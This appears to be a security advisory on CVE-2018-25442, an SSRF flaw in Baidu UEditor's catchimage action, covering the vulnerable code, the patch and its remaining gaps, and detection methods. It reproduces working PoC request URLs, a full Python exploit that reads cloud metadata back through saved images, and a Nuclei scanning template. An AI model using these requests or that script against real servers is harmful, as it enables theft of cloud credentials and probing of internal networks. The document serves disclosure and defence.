Introduction
An unauthenticated image capture feature in Baidu UEditor turned out to be a reliable way to reach services that were never meant to face the internet. By pointing the editor's catchimage action at loopback, RFC 1918, or cloud metadata addresses, an attacker can make the application server fetch those URLs and hand back the response as a stored image.
UEditor is a Baidu rich text editor, which its own project describes as lightweight and customizable and distributes under a BSD open source license. It ships backends for JSP, PHP, ASP, and .NET, so developers can drop server-side upload and remote-fetch handling into web applications. The repository was archived in January 2023, so 1.4.3.1 and the later 1.4.3.x releases are the last upstream versions.
Technical Information
The vulnerability lives in the JSP controller's image capture action, reachable at /ueditor/jsp/controller.jsp?action=catchimage. An unauthenticated attacker supplies one or more URLs through the source[] parameter, and the ImageHunter component fetches each URL that passes its checks.
In the v1.4.3 source, ImageHunter checks the requested hostname against a configured filter list (catcherLocalDomain) through validHost(), opens a URL connection via url.openConnection(), validates the HTTP status and content type, and saves the returned stream to disk. Two design choices turn this into SSRF:
- The host check is a deny list, and it runs before the connection is opened. An attacker can simply use an IP literal, an alternate spelling, or a DNS name that points to an internal host.
- Automatic redirect following is enabled with
setInstanceFollowRedirects(true), and the inspected code path shows no second hostname check after a redirect. A URL that passes the initial check can redirect to an internal destination that is never revalidated.
To satisfy the editor's filename check, the supplied URL must appear to end in an image extension such as ?.png or ?.jpg. The server fetches the full URL regardless of that suffix.
Attack flow
- The attacker sends an unauthenticated GET to the catchimage action with
source[]set to an internal target, for examplehttp://127.0.0.1/favicon.ico?.jpgor a cloud metadata URL ending in?.jpg. ImageHunterrunsvalidHost(), which in the vulnerable build only rejects hostnames present in the configured filter list, so loopback, private, and link-local targets pass.captureRemoteData()opens the connection and, because redirects are followed, an external URL can still land on an internal service.- On a successful fetch, the response is saved as an image and the controller returns a JSON envelope with
state: SUCCESS, anoriginalfield, andlist[].urlpointing at the saved file. - The attacker reads back the saved image to exfiltrate the fetched response body, or uses the different per-item
statevalues as a port-scanning oracle.
Proof of Concept
A public, reproducible PoC exists. The request vector is a single unauthenticated GET. The repository xueba001/ueditor_exp catalogs the full set of catchimage endpoints across backends:
/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://<internal-target>/?.png
/ueditor/php/controller.php?action=catchimage&source[]=http://<internal-target>/?.jpg
/ueditor/net/controller.ashx?action=catchimage&source%5B%5D=http%3A%2F%2F<internal-target>/1.gif?.aspx
/ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
The standalone exploit u_ssrf.py from xueba001/ueditor_exp is a two-stage SSRF reader: it triggers the fetch so the server saves the internal response as an image, then downloads that saved image to recover the response body. The fetched script:
import sys import requests import urllib.parse if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <metadata_url>") sys.exit(1) proxy = "http://XX.107.225.XXX:XXXX" target = sys.argv[1] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ..." } # 1. Trigger SSRF, writing the metadata into an image ssrf_url = f"{proxy}/php/controller.php?action=catchimage&source[]={urllib.parse.quote(target)}?.jpg" resp1 = requests.get(ssrf_url, headers=headers) print(resp1.text) if resp1.status_code != 200: print("SSRF request failed") sys.exit(1) try: img_path = resp1.json()["list"][0]["url"] except Exception: print("could not parse image path") sys.exit(1) img_url = proxy + img_path if img_path.startswith("/") else img_path # 2. Read back the saved image content resp2 = requests.get(img_url, headers=headers) if resp2.status_code != 200: print("image read failed") sys.exit(1) # 3. Output the image content (the metadata) try: content = resp2.content.decode("utf-8").strip() except Exception: content = resp2.text.strip() print(content)
Usage is python u_ssrf.py http://100.100.100.200/latest/meta-data/, and the repository README demonstrates reading cloud metadata at 100.100.100.200.
ProjectDiscovery's Nuclei template ueditor-ssrf.yaml (marked verified: true, author pwnhxl) actively tests the issue by sending catchimage requests to a loopback target and matching the response:
http: - method: GET path: - "{{BaseURL}}/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png" - "{{BaseURL}}/ueditor/jsp/controller.jsp?action=catchimage&source[]=http://127.0.0.1:{{rand_text_numeric(6)}}/?1.png" stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - '\u94fe\u63a5\u4e0d\u53ef\u7528' - '"original":' - '"SUCCESS"' condition: and - type: status status: - 200
Patch Information
Baidu fixed the bug in the JSP backend's remote image grabber, the ImageHunter class, in UEditor v1.4.3.1. The GitHub release for tag 1.4.3.1 was published 25 Aug 2015 from branch dev-1.4.3.1, with a one-line release note, 修复了 SSRF 漏洞 ("Fixed the SSRF vulnerability"). It ships GBK and UTF-8 packages for the ASP, JSP, .NET, and PHP backends.
The fixing commit is 6e2365e19c9fa07b44a0baf52f19b54db3445e9c, authored by hancong03 on 24 Aug 2015. The message 增加远程抓取图片时对内部地址的过滤 means "add filtering of internal addresses when remotely fetching images". It adds 12 lines and deletes none, all in jsp/src/com/baidu/ueditor/hunter/ImageHunter.java.
Before the patch, validHost() only compared the raw hostname string against the configured filter list (catcherLocalDomain). The patch resolves the hostname first and rejects anything that resolves to a private address:
import java.net.HttpURLConnection; +import java.net.InetAddress; import java.net.URL; +import java.net.UnknownHostException; ... private boolean validHost ( String hostname ) { + try { + InetAddress ip = InetAddress.getByName(hostname); + + if (ip.isSiteLocalAddress()) { + System.out.println("内部地址"); + return false; + } + } catch (UnknownHostException e) { + return false; + } return !filters.contains( hostname );
The check runs inside captureRemoteData() before any connection is opened. A rejected host short-circuits to new BaseState(false, AppInfo.PREVENT_HOST), and an unresolvable name fails closed via UnknownHostException. In the code shipped at tag 1.4.3.1, the debug System.out.println("内部地址") line has been removed, but the logic is otherwise the same.
How complete the fix is
The patch blocks the obvious attack of pointing source[] at RFC 1918 hosts, but the patched code still has several gaps:
InetAddress.isSiteLocalAddress()only matches10.0.0.0/8,172.16.0.0/12,192.168.0.0/16, and the deprecated IPv6fec0::/10. It does not match loopback (127.0.0.0/8,::1), link-local addresses such as the cloud metadata endpoint169.254.169.254,0.0.0.0, or modern IPv6 unique-local addresses (fc00::/7).captureRemoteData()still callsconnection.setInstanceFollowRedirects(true). Only the first hostname is checked, so an external URL that redirects to an internal address is never re-checked.- The hostname is resolved once in
validHost()and again whenopenConnection()connects, leaving a time-of-check/time-of-use gap that DNS rebinding could exploit, subject to JVM DNS caching. - The commit only touches the Java/JSP backend; the release notes say nothing about equivalent changes to the PHP, ASP, or .NET catchers.
If you maintain a fork, consider also rejecting loopback, link-local, any-local, and unique-local addresses (isLoopbackAddress(), isLinkLocalAddress(), isAnyLocalAddress()), turning off automatic redirects or re-validating each redirect target, and connecting to the IP address you validated rather than resolving the name again.
Detection Methods
Active scanning with the public Nuclei template. ProjectDiscovery's ueditor-ssrf.yaml sends two GET probes and stops at the first match. The first targets the PHP controller, which is outside this CVE's scope; the second targets the JSP controller, which is the one that maps to CVE-2018-25442. The probe asks the server to fetch a .png-looking URL on 127.0.0.1 at a random six-digit port, and the matcher requires HTTP 200 plus the body containing "SUCCESS", an "original": field, and the escaped Chinese string \u94fe\u63a5\u4e0d\u53ef\u7528 (链接不可用, "link unavailable"). The template is not tagged with this CVE ID; it is a generic UEditor SSRF check. A hit on the controller.php path points to the PHP backend, a separate issue, so only a hit on the JSP path maps here. The template metadata suggests the Shodan query html:"UEditor" for finding exposed instances.
Reading response states as an oracle. A public write-up lists three per-item state values inside an outer "state": "SUCCESS" wrapper: \u8fdc\u7a0b\u8fde\u63a5\u51fa\u9519 (远程连接出错, "remote connection error") when the host answered but the resource was absent, \u6293\u53d6\u8fdc\u7a0b\u56fe\u7247\u5931\u8d25 (抓取远程图片失败, "failed to fetch remote image") when the host could not be reached, and an item state of SUCCESS with size, source, title, and url when the resource was fetched and saved. Capturing responses lets you tell which internal targets an attacker reached.
Hunting in web and application logs. Search access logs on JSP/Java hosts for /ueditor/jsp/controller.jsp requests with action=catchimage and a source[] value, which may be URL-encoded as source%5B%5D. Treat it as suspicious when it points to loopback, private, or link-local addresses, unusual ports, many different hosts or ports from one client in a short time, or URLs ending in ?1.png or ?.jpg. Include /jsp/getRemoteImage.jsp?upfile= as another SSRF entry point in the 1.4.3 JSP build. The Nuclei probe leaves a recognizable log entry: source[]=http://127.0.0.1:<six digits>/?1.png.
Network egress monitoring. The fetch originates from the Java application server itself, so watch for outbound HTTP connections from that process to internal services, cloud metadata addresses, or unexpected external hosts, especially right after a catchimage request. Because redirects are followed, an external URL in the log can still lead to an internal connection, so correlate proxy or NetFlow data rather than just the request line.
Host-level forensic artifacts. A successful fetch is written to disk by StorageManager.saveFileByInputStream() under the configured savePath, and the JSON response returns both the saved url and the original source. The write-up's example shows files saved as timestamp-named images in date-stamped folders, such as /ueditor/jsp/upload/image/20180524/1527173588127099881.png. Check UEditor's image upload directories for files that do not match legitimate editor activity, and align their creation times with catchimage access log entries.
Coverage gaps. Apart from the Nuclei template, the sources reviewed contain no public YARA, Sigma, Snort, or Suricata rule and no published IoC list specific to CVE-2018-25442.
Affected Systems and Versions
Baidu UEditor 1.4.0 through versions before 1.4.3.1 are affected (the JSP backend's catchimage image capture path). A Huazhong University alert uses the less precise wording of versions through 1.4.3, consistent with the advisory's more specific threshold. Version 1.4.3.1 and later contain the upstream fix. Note the scoring discrepancy: the provided input lists CVSS 8.3, while the matching VulnCheck advisory lists 6.9 (Medium), and no scoring vector or official NVD assessment supporting 8.3 was found, so 8.3 should be treated as unverified.
Vendor Security History
Seebug records a UEditor JSP SSRF disclosure dated May 24, 2018, with its CVE identifier shown as pending. That establishes a historical UEditor SSRF disclosure but does not by itself confirm it is the same record as CVE-2018-25442. Separately, CVE-2024-7342 describes an unrestricted upload issue affecting UEditor 1.4.3.3, and CVE-2024-7343 describes cross site scripting affecting 1.4.2; these are distinct vulnerability reports and are not additional evidence about this SSRF's mechanics. The located material is not enough to assess Baidu's broader security track record or current maintenance posture beyond noting the repository was archived in January 2023.
References
- NVD: CVE-2018-25442
- VulnCheck advisory: Baidu UEditor 1.4.0 < 1.4.3.1 SSRF via controller.jsp catchimage
- VulnCheck advisory (alternate URL)
- ImageHunter.java at v1.4.3 (vulnerable source)
- ImageHunter.java at tag 1.4.3.1 (patched source)
- GitHub release metadata for tag 1.4.3.1
- Fixing commit 6e2365e
- UEditor releases
- ProjectDiscovery Nuclei template ueditor-ssrf.yaml
- Nuclei template (raw)
- xueba001/ueditor_exp repository
- u_ssrf.py exploit (raw)
- ueditor_exp README (raw)
- Seebug: UEditor SSRF (JSP version) analysis
- UEditor project repository
- Huazhong University UEditor SSRF alert
- Shadowserver 2024 Year in Review
- Threekiii Vulnerability-Wiki: UEditor editor vulnerability summary
- CVE Record: CVE-2024-7342
- CVE Record: CVE-2024-7343



